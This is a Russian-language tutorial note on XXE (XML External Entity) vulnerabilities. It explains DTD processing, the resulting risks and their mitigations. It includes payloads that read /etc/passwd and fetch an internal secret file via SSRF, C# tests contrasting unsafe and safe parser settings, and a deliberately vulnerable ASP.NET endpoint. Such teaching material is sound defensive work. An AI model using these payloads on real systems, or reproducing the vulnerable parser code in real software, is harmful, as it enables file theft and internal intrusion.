## Описание сути уязвимости XXE Данная уязвимость это просто переиспользование функционала, который был создан для расширения возможностей формата XML. Основная причина возникновения уязвимости - неаккуратное использование библиотек, которые занимаются разбором файла для нужд приложения. ![](https://hackmd.io/_uploads/S1SrogJsh.png) ### Детали XML и DTD, являющиеся причиной для возникновения уязвимости XML это формат файла, описывается описывается вот [этой](https://www.w3.org/TR/xml/) спецификацией. Формат изнутри выглядит как html: ``` <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]> ``` Теги и атрибуты можно задавать самостоятельно, можно использовать специальные теги, которые описывают как будет составлен результирующий документ. Основой формирования докуметна с заданными характеристиками является DTD механизм. По сути это просто набор объявлений, которые предоставляют возможность включать в документ указанные данные. Это может быть картинка, другой xml документ или любое значение - сторока или число. Особенной частью механима является то, что механизм DTD может работать с: - объектами внутри xml - объектами внутри файловой системы ОС - объектами, которые располагаются в сетевом хранилище (FTP, HTTP, SMB потоколы) Работа DTD в веб-приложениях организуется силами библиотеки, которую включают в проект. Чаще всего язык программирования содержит свою библиотеку, которая и становится основой для работы с форматом в приложении. :::danger Стоить помнить, что XML это формат, который используется не только в сыром виде, он так же может быть частью других сложных форматов: - SOAP конвертов - DOCX файлов - SVG картинок - ... Нужно иметь в виду, что эти форматы могут так же использовать DTD. ::: ### Условия возникновения уязвимости Уязвимость появляется при выполнении 2х условий: 1. Данные от пользователя получаются в виде json, а потом перегоняются в XML 2. Данные получаются в XML формате 3. В библиотеке для разбора формата файлов включено использование DTD :::info В Java и С# нужно явно указывать, что парсер не имеет возможности работать с DTD, иначе значение по-умолчанию может его включить. ::: ### Последствия эксплуатации Обычно, при помощи уязвимости можно открывать локально сохраненные в файловой системе файлы, отправлять их содержимое через http и ftp протокол. Так же уязвимость может быть совмещена с SSRF, атакой в этом случае XML является контейнером для доставки полезной нагрузки, а результирующее действие будет зависеть от типа сервиса, куда отправляется SSRF. ### Примеры Чтение файла из файловой системы ОС: ```= <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data> ``` Чтение файлай из файловой системы через SOAP: ```= <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` SSRF: ```= <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" > ]> <foo>&xxe;</foo> ``` Примеры уязвимого кода: ```C#= using NUnit.Framework; using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; namespace XXEExamples.Tests { [TestFixture] public class XmlReader_Tests { [Test] public void XMLReader_WithDTDProcessingParseAndXmlResolverSet_NotSafe() { AssertXXE.IsXMLParserSafe((string xml) => { XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Parse; settings.XmlResolver = new XmlUrlResolver(); settings.MaxCharactersFromEntities = 6000; using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml))) { XmlReader reader = XmlReader.Create(stream, settings); var xmlDocument = new XmlDocument(); xmlDocument.XmlResolver = new XmlUrlResolver(); xmlDocument.Load(reader); return xmlDocument.InnerText; } }, false); } [Test] public void XMLReader_WithDTDProcessingIgnored_Safe() { var exception = Assert.Throws<XmlException>(() => { AssertXXE.IsXMLParserSafe((string xml) => { XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Ignore; settings.MaxCharactersFromEntities = 6000; using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml))) { XmlReader reader = XmlReader.Create(stream, settings); var xmlDocument = new XmlDocument(); xmlDocument.XmlResolver = new XmlUrlResolver(); xmlDocument.Load(reader); return xmlDocument.InnerText; } }, true); }); Assert.IsTrue(exception.Message.StartsWith("Reference to undeclared entity 'xxe'.")); } [Test] public void XMLReader_WithDTDProcessingProhibited_Safe() { var exception = Assert.Throws<XmlException>(() => { AssertXXE.IsXMLParserSafe((string xml) => { XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.MaxCharactersFromEntities = 6000; using (MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(xml))) { XmlReader reader = XmlReader.Create(stream, settings); var xmlDocument = new XmlDocument(); xmlDocument.XmlResolver = new XmlUrlResolver(); xmlDocument.Load(reader); return xmlDocument.InnerText; } }, true); }); Assert.IsTrue(exception.Message.StartsWith("For security reasons DTD is prohibited in this XML document.")); } } } ``` ```C#= using Microsoft.AspNetCore.Mvc; using System; using System.Xml; namespace WebFox.Controllers { [Route("api/[controller]")] [ApiController] public class XxeTest1 : ControllerBase { [HttpGet("{xmlString}")] public void DoXxe(String xmlString) { XmlDocument xmlDoc = new XmlDocument(); xmlDoc.LoadXml(xmlString); } } } ``` ### Способы защиты - Проверка версий окружения, языка программирования, по-умолчанию могут быть разные значения флагов для включения DTD - полное отключение DTD и XInclude ## Практика - https://portswigger.net/web-security/all-labs - https://ringzer0ctf.com/challenges/85 - https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity